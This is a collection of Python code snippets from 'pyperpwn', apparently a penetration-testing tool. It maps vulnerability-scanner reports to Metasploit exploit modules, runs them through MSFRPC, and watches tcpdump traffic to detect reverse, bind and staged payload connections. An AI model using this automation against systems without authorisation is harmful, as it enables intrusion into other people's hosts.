            "$$ |      $$\   $$ |$$ |                          $$ |                              \n"
            "$$ |      \$$$$$$  |$$ |                          $$ |                              \n"
            "\__|       \______/ \__|                          \__|                              \n"
        )
        print(
            "====================================================================================\n"
        )
        print(
            "Welcome to pyperpwn!\nPlease restart the MSFRPC daemon everytime you restart this application.\n"
        )
        print(
            "====================================================================================\n"
        )

    def print_vuln_caption(self, vuln_name, cve, cvss):
        self.console.empty(2)
        self.console.caption(
            "NOW TREATING VULNERABILITY: '{}' (CVSS: {})".format(
                vuln_name, cvss))
        self.console.empty(1)
Esempio n. 19
0
class VulnReportReader:
    def __init__(self):
        self.console = ConsoleHandler("VulnReader")

    # read the vuln report from a CSV file and return a list of Vulnerability objects
    def read_csv(self, path):
        self.console.info("Start reading csv file: {}".format(path))
        entries = []
        try:
            with open(path) as csv_file:
                csv_reader = csv.DictReader(csv_file, delimiter=",")
                line_count = 0
                for row in csv_reader:
                    port = -1
                    cvss = -1.0
                    try:
                        try:
                            port = int(row['Port'])
                        except ValueError:
                            self.console.warn(
                                "\t Cannot convert 'Port' value from vuln report at line {}"
                                .format(line_count))
                        try:
                            cvss = float(row['CVSS'])
                        except ValueError:
                            self.console.warn(
                                "\t cannot convert 'CVSS' value from vuln report at line {}"
                                .format(line_count))
                        vuln = Vulnerability(
                            row['IP'],
                            port=port,
                            cvss=cvss,
                            protocol=row['Protocol'],
                            cve=row['CVEs'],
                            bid=row['BIDs'],
                            name=row['Name'],
                            detection=row['Detection Method'],
                            solution_type=row['Solution Type'])
                        entries.append(vuln)
                        line_count += 1
                    except KeyError as e:
                        self.console.error(
                            "\t Cannot read column from report file: {}".
                            format(e))
                        raise KeyError
            self.console.info(
                "Read {} entries from Vulnerability Scanner Output".format(
                    line_count))
            return entries
        except (TypeError, FileNotFoundError):
            self.console.error("Cannot read report file. Aborting...")
            raise FileNotFoundError
 def __init__(self, db_handler):
     self.console = ConsoleHandler("ExplClassR.")
     self.db = db_handler
Esempio n. 21
0
 def __init__(self):
     self.print_greeting()
     self.console = ConsoleHandler("Wizard")
Esempio n. 22
0
 def __init__(self, msf_handler, wizard):
     self.console = ConsoleHandler('ExploitExec')
     self.msf_handler = msf_handler
     self.wizard = wizard
Esempio n. 23
0
class DBHandler:
    def __init__(self, msf_handler):
        self.msf_handler = msf_handler
        self.console = ConsoleHandler("DBHandler")
        self.exploits = []
        self.db_client = MongoClient(db_config.get("host"),
                                     db_config.get("port"))
        self.db = self.db_client.pyperpwn
        self.expl_coll = self.db.exploits
        self.cve_coll = self.db.cve
        self.vuln_coll = self.db.vulns
        self.expl_class_coll = self.db.classifications
        self.exec_status_coll = self.db.exec_status
        self.check_db_connection()

    def check_db_connection(self):
        self.console.info("Checking connection to MongoDB...")
        try:
            self.db_client.server_info()
        except ServerSelectionTimeoutError:
            self.console.error(
                "Unable to connect to MongoDB! Please check if it is running and reachable on {}:{}. Aborting..."
                .format(db_config.get("host"), db_config.get("port")))
            raise ConnectionError('cannot connect to MongoDB.')

    # remove all cached data that is not necessary for a clean start
    def clear_db_on_start(self):
        self.console.debug("Remove cached data from DB...")
        self.db.vulns.remove({})
        self.db.exec_status_coll.remove({})

    # remove all data that has been cached in the DB
    def remove_cached_data(self):
        self.expl_class_coll.remove({})

    # checks if a refill of the exploit collection is necessary and if yes, performs it
    def build_expl_coll(self):
        self.console.info("Checking state of Exploit Cache...")
        if self.check_db():
            self.console.info("\t No need to fill cache again. Proceeding...")
            return
        self.console.info("\t Remove orphaned exploits...")
        self.expl_coll.delete_many({})
        self.console.info("\t Start caching exploits...")
        fail_count = 0
        i = 0
        for expl_name in self.msf_handler.get_all_exploits():
            expl = self.get_exploit_obj_by_name(expl_name)
            if expl is None:
                fail_count += 1
            else:
                self.expl_coll.insert_one(expl)
            i += 1
        self.expl_coll.create_index([('search_name', pymongo.TEXT)],
                                    name='search_index',
                                    default_language='english')
        self.console.info(
            "Successfully built cache with {} entries. Faced {} errors".format(
                i - fail_count, fail_count))

    # creates an exploit object from the MSF data related to the given exploit path
    def get_exploit_obj_by_name(self, expl_path):
        expl = self.msf_handler.get_exploit(expl_path)
        cve = DBHandler.get_module_attribute('CVE', expl.references)
        bid = DBHandler.get_module_attribute('BID', expl.references)
        full_name = expl._info['name']
        search_name = Exploit.improve_name(full_name)
        rank = expl._info['rank']
        os = DBHandler.get_os_from_expl_name(expl_path)
        expl_obj = Exploit(path=expl_path,
                           full_name=full_name,
                           search_name=search_name,
                           os=os,
                           rank=rank,
                           cve=cve,
                           bid=bid,
                           all_params=expl.options,
                           req_params=expl.required,
                           score=0.0)
        expl_dict = expl_obj.to_dict()
        return expl_dict

    # check if the DB contains almost the same amount of exploits as MSF
    def check_db(self):
        db_count = self.expl_coll.count_documents({})
        msf_count = len(self.msf_handler.get_all_exploits())
        self.console.info(
            "\t Found {} exploits in DB, while MSF currently offers {} in total"
            .format(db_count, msf_count))
        if db_count + db_config.get("diff_range") >= msf_count:
            return True
        return False

    @staticmethod
    def get_module_attribute(tag, attribute_list):
        for elem in attribute_list:
            if elem[0] == tag:
                return elem[1]
        return ""

    @staticmethod
    def get_os_from_expl_name(expl_name):
        expl_name = expl_name.split("/")
        return expl_name[0]

    def search_by_cve(self, cve):
        matching_expl = []
        for expl in self.expl_coll.find({"cve": cve}):
            expl_obj = Exploit.from_dict(expl)
            matching_expl.append(expl_obj)
        return matching_expl

    def search_by_bid(self, bid):
        matching_expl = []
        for expl in self.expl_coll.find({"bid": bid}):
            expl_obj = Exploit.from_dict(expl)
            matching_expl.append(expl_obj)
        return matching_expl

    # search the DB for all exploits with a matching name (textScore)
    def search_by_name(self, name):
        matching_expl = []
        for expl in self.expl_coll.find({'$text': {
                '$search': name
        }}, {'score': {
                '$meta': 'textScore'
        }}):
            expl_obj = Exploit.from_dict(expl)
            matching_expl.append(expl_obj)
        return matching_expl

    #
    # methods for the CVE details collection
    #
    def add_cve_details(self, cve):
        self.cve_coll.insert_one(cve)

    def get_cve(self, cve):
        return self.cve_coll.find_one({'cve': cve})

    #
    # methods for the exploits' classifications collection
    #
    def add_expl_class(self, expl_class):
        self.expl_class_coll.insert_one(expl_class.to_dict())

    def get_expl_class(self, expl_path):
        classification_obj = self.expl_class_coll.find_one(
            {'expl_path': expl_path})
        if classification_obj is None:
            return None
        return getattr(ExploitClass,
                       classification_obj.get('class', None).upper(), None)

    #
    # methods for application's execution status
    #
    def save_exec_status(self, status):
        status.ended = time.time()
        self.exec_status_coll.insert_one(status.to_dict())
        self.console.info("Successfully saved execution status to DB...")

    def take_matching_exec_status(self, ip):
        status_dict = self.exec_status_coll.find_one({'ip': ip})
        if status_dict is None:
            return None
        self.exec_status_coll.delete_one({'_id': status_dict.get('_id')})
        return ExecStatus.from_dict(status_dict)

    #
    # methods for vulnerabilities collection
    #
    def save_vulns(self, vulns):
        for vuln in vulns:
            self.vuln_coll.insert_one(vuln.to_dict())

    def get_vulns(self):
        vuln_objs = []
        vulns = self.vuln_coll.find({}).sort('cvss', pymongo.DESCENDING)
        for vuln in vulns:
            vuln_obj = Vulnerability.from_dict(vuln)
            vuln_objs.append(vuln_obj)
        return vuln_objs
Esempio n. 24
0
 def __init__(self, msf_handler):
     self.console = ConsoleHandler('Sess.Handler')
     self.msf_handler = msf_handler
Esempio n. 25
0
class ConnectionSupervisor(Thread):
    proc = None

    detected_syn = False
    detected_synack = False
    syn_seq = -1
    synack_seq = -1

    detected_exploit_delivery = False
    detected_payload_delivery = False
    detected_payload_connection = False

    expl_exec_detection_method: ExplExecDetectionMethod

    def __init__(self, lhost, rhost, rport, lport, is_reverse_payload, is_staged_payload, results):
        Thread.__init__(self)
        self.console = ConsoleHandler('ConnSuperv')
        if lhost is None or rhost is None or lhost == '' or rhost == '':
            raise AttributeError('You need to specify a value for rhost and lhost.')
        self.lhost = lhost
        self.rhost = rhost
        self.rport = rport
        self.lport = lport
        self.is_reverse_payload = is_reverse_payload
        self.is_staged_payload = is_staged_payload
        self.file = open("tcpdump_log.txt", "w")
        self.results = results

    # Start the subprocess
    def run(self):
        self.console.info("Start to capture network traffic with host {}...".format(self.rhost))
        self.proc = subprocess.Popen(['tcpdump', '-l', 'host', self.rhost, '-nn', '-S'],
                                     stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        # -nn = don't convert addresses and port numbers to names
        # -S = print absolute sequence numbers
        for row in iter(self.proc.stdout.readline, b''):
            line_str = row.rstrip().decode("utf-8")
            self.console.debug(line_str)
            self.write_to_log(line_str)
            request = self.parse_tcpdump_line(line_str)
            connection = self.detect_established_connection(request, self.lhost, self.rhost)
            successful_exec = None
            reverse_payload_req = self.detect_reverse_payload_request(request)
            self.append_to_results(reverse_payload_req)
            dropper_req = self.detect_dropper_request(request)
            self.append_to_results(dropper_req)
            if connection is not None:
                self.console.debug("detected established connection with direction: {}".format(connection.direction))
                successful_exec = self.detect_successful_exec(connection=connection, rport=self.rport, lport=self.lport)
            if (successful_exec is not None and successful_exec != ExplExecDetectionMethod.NONE) or \
                    reverse_payload_req is not None or dropper_req is not None:
                self.append_to_results(successful_exec)
                self.console.warn("EXPLOIT HAS BEEN EXECUTED ON THE TARGET!")
                self.console.info("\t detected with: {}".format(self.results[-1].name))
                self.write_to_log("detected: ".format(self.results[-1].name))

    # Stop the subprocess
    def join(self, timeout=None):
        self.console.info("Stop capturing network traffic...")
        if self.proc is not None:
            self.console.debug("killing subprocess with PID {}...".format(self.proc.pid))
            self.proc.terminate()
            self.console.debug("killed...")
        self.file.close()
        Thread.join(self)

    # reset all connection state flags
    def reset_conn_state(self):
        self.detected_syn = False
        self.detected_synack = False
        self.syn_seq = -1
        self.synack_seq = -1

    # reset all execution state flags
    def reset_exec_state(self):
        self.detected_exploit_delivery = False
        self.detected_payload_delivery = False
        self.detected_payload_connection = False

    @staticmethod
    def remove_redundant_chars(val):
        if val[:1] == '[':
            val = val[1:]
        if val[-1:] == ':' or val[-1:] == ']':
            val = val[:-1]
        return val

    # parse a line of tcpdump and return a Request object or (in case of errors) an empty dict
    def parse_tcpdump_line(self, line):
        line = line.split(', ')
        params = []
        for item in line:
            if item[:7] == 'options':
                params.append('options')
                params.append(item[8:])
            else:
                for elem in item.split(' '):
                    params.append(elem)
        for i in range(len(params)):
            params[i] = self.remove_redundant_chars(params[i])
        if len(params) >= 7:
            request = {'time': params[0], 'protocol': params[1]}
            if request.get('protocol') == 'IP':
                request['source_ip'] = ConnectionSupervisor.extract_ip_address(params[2])
                request['source_port'] = ConnectionSupervisor.extract_port_number(params[2])
                request['target_ip'] = ConnectionSupervisor.extract_ip_address(params[4])
                request['target_port'] = ConnectionSupervisor.extract_port_number(params[4])
                request['flags'] = params[6]
                count = 7
                while count + 2 <= len(params):
                    val = params[count + 1]
                    try:
                        val = int(val)
                    except ValueError:
                        val = str(val)
                    request[params[count]] = val
                    count += 2
            return request
        return {}

    @staticmethod
    def extract_ip_address(addr_str):
        elems = addr_str.split(".")
        return "{}.{}.{}.{}".format(elems[0], elems[1], elems[2], elems[3])

    @staticmethod
    def extract_port_number(addr_str):
        try:
            return int(addr_str.split(".")[4])
        except (ValueError, IndexError):
            return -1

    # determine the direction of a given request
    def get_request_direction(self, conn, lhost, rhost):
        if lhost == conn.get('source_ip') and rhost == conn.get('target_ip'):
            return ConnectionDirection.HOST_TO_TARGET
        if lhost == conn.get('target_ip') and rhost == conn.get('source_ip'):
            return ConnectionDirection.TARGET_TO_HOST
        return ConnectionDirection.UNDETERMINED

    # returns a Connection object as soon as a successful TCP handshake has been detected
    def detect_established_connection(self, request, lhost, rhost):
        flags = request.get('flags')
        if flags == 'S':
            self.detected_syn = True
            self.syn_seq = request.get('seq')
            self.console.debug("...detected SYN")
        if flags == 'S.' and self.detected_syn and request.get('ack') == self.syn_seq + 1:
            self.detected_synack = True
            self.synack_seq = request.get('seq')
            self.console.debug("...detected SYNACK")
        if flags == '.' and self.detected_syn and self.detected_synack and request.get('ack') == self.synack_seq + 1:
            self.console.debug("...detected ACK")
            direction = self.get_request_direction(conn=request, lhost=lhost, rhost=rhost)
            self.reset_conn_state()
            self.console.debug(request)
            connection = Connection(direction=direction, client_ip=request.get('source_ip'),
                                    client_port=request.get('source_port'), server_ip=request.get('target_ip'),
                                    server_port=request.get('target_port'))
            return connection
        return None

    # detect by the given execution state and a new connection whether the exploit has already been successfully executed
    def detect_successful_exec(self, connection, rport, lport):
        self.console.debug("lport: {}, rport: {}".format(lport, rport))
        self.console.debug(connection)
        # error case
        if connection is None or connection.direction == ConnectionDirection.UNDETERMINED:
            return ExplExecDetectionMethod.NONE
        # no matter what kind of payload, the exploit needs to be delivered first
        if not self.detected_exploit_delivery and connection.direction == ConnectionDirection.HOST_TO_TARGET and connection.server_port == rport:
            self.detected_exploit_delivery = True
            self.console.info("Detected exploit delivery to target")
            return ExplExecDetectionMethod.NONE
        # to detect payload connection for single payloads:
        if not self.is_staged_payload and self.detected_exploit_delivery:
            # for single bind payloads
            if connection.direction == ConnectionDirection.HOST_TO_TARGET and not self.is_reverse_payload:  # and lport == connection.server_port
                self.console.info("Detected single bind payload connection")
                return ExplExecDetectionMethod.BIND_PAYLOAD_CONNECTION
            # for single reverse payloads
            if connection.direction == ConnectionDirection.TARGET_TO_HOST and self.is_reverse_payload and lport == connection.server_port:
                self.console.info("Detected single reverse payload connection")
                return ExplExecDetectionMethod.REVERSE_PAYLOAD_CONNECTION
        # to detect the delivery of the stage for staged payloads
        if self.is_staged_payload and self.detected_exploit_delivery and not self.detected_payload_delivery:
            if connection.direction == ConnectionDirection.TARGET_TO_HOST:
                self.detected_payload_delivery = True
                self.console.info("Reverse payload has been delivered")
                return ExplExecDetectionMethod.PAYLOAD_STAGE_CONNECTION
        # to detect the payload connection for staged payloads
        if self.detected_payload_delivery and self.is_staged_payload:
            if connection.direction == ConnectionDirection.HOST_TO_TARGET and not self.is_reverse_payload and lport == connection.server_port:
                self.console.info("Detected staged bind payload")
            if connection.direction == ConnectionDirection.TARGET_TO_HOST and self.is_reverse_payload and lport == connection.server_port:
                self.console.info("Detected staged reverse payload connection")
            return ExplExecDetectionMethod.PAYLOAD_STAGE_CONNECTION
        return ExplExecDetectionMethod.NONE

    # detect a connection attempt from a reverse payload by the given request
    def detect_reverse_payload_request(self, request):
        try:
            if self.detected_exploit_delivery and self.is_reverse_payload and request['source_ip'] == self.rhost and \
                    request['target_ip'] == self.lhost and request['target_port'] == self.lport and \
                    request.get('flags') == 'S':
                self.console.info("Detected reverse payload request.")
                return ExplExecDetectionMethod.REVERSE_PAYLOAD_REQUEST
        except KeyError:
            pass
        return None

    # detect a connection attempt from the payload's dropper
    def detect_dropper_request(self, request):
        try:
            if self.detected_exploit_delivery and self.is_staged_payload and request['source_ip'] == self.rhost and \
                    request['target_ip'] == self.lhost and not self.detected_payload_connection and \
                    request.get('flags') == 'S' and request['target_port'] != self.lport:
                self.console.info("Detected request from the payload dropper")
                return ExplExecDetectionMethod.PAYLOAD_STAGE_REQUEST
        except KeyError:
            pass
        return None

    def append_to_results(self, detection_method):
        if detection_method is not None and detection_method is not ExplExecDetectionMethod.NONE:
            self.results.append(detection_method)

    # for debugging
    def write_to_log(self, line):
        try:
            self.file.write('{} \n'.format(line))
        except ValueError:
            pass
Esempio n. 26
0
 def __init__(self, db_handler):
     self.console = ConsoleHandler("CVEDetParser")
     self.db = db_handler
Esempio n. 27
0
class SuccessChecker:

    def __init__(self):
        self.console = ConsoleHandler("SuccessCheck")

    def check(self, speed, rhost, port, uri):
        res = []
        iterations = EvalSpeed[speed.name].value[0]
        interval = EvalSpeed[speed.name].value[1]
        for iteration in range(iterations):
            self.console.info("Run #{} of success checker".format(iteration))
            check_result = {'ping': self.ping_check(rhost)}
            check_result['nmap'] = self.nmap_check(host=rhost, port=port)
            if uri is not None:
                url = "{}:{}{}".format(rhost, str(port), uri)
                check_result['http'] = self.http_check(url=url)
            res.append(check_result)
            self.console.info("\t intentionally waiting...")
            time.sleep(interval)
        self.console.debug(res)
        return res

    def ping_check(self, rhost):
        self.console.debug("\t start PING checker")
        param = '-n' if platform.system().lower() == 'windows' else '-c'
        command = ['ping', param, '1', rhost]
        with open(os.devnull, 'w') as DEVNULL:
            res = subprocess.call(command, stderr=DEVNULL, stdout=DEVNULL)
        if res == 0:
            self.console.debug("\t \t host still up and running.")
            return ServiceStatus.UP_ACCESSIBLE
        else:
            self.console.debug("\t \t host dead.")
            return ServiceStatus.DOWN

    def http_check(self, url):
        self.console.debug("\t start HTTP checker for {}".format(url))
        command = ['curl', url, "-m", "{}".format(HTTP_CHECK_MAX_TIME)]
        with open(os.devnull, 'w') as DEVNULL:
            res = subprocess.call(command, stderr=DEVNULL, stdout=DEVNULL)
        if res == 0:
            self.console.debug("\t \t web server still up and running.")
            return ServiceStatus.UP_ACCESSIBLE
        else:
            self.console.info("\t \t web server dead.")
            return ServiceStatus.DOWN

    def nmap_check(self, host, port):
        self.console.debug("\t start nmap checker...")
        scanner = nmap.PortScanner()
        scanner.scan(hosts=host, ports=str(port))
        info = scanner.scaninfo()
        err = info.get('error')
        try:
            del info['error']
        except KeyError:
            pass
        self.console.debug(info)
        if err is not None:
            self.console.debug("\t \t {}".format(err))
        try:
            state = scanner[host]['tcp'][port]['state']
            self.console.debug("\t \t -> Port is {}".format(state))
        except KeyError:
            self.console.warn("\t \t unable to retrieve nmap output: {}.".format(info))
            return None
        try:
            state_obj = PortStatus[state.strip().upper()]
        except KeyError:
            self.console.error("Invalid value for Port State: {}".format(state))
            return PortStatus.CLOSED
        return state_obj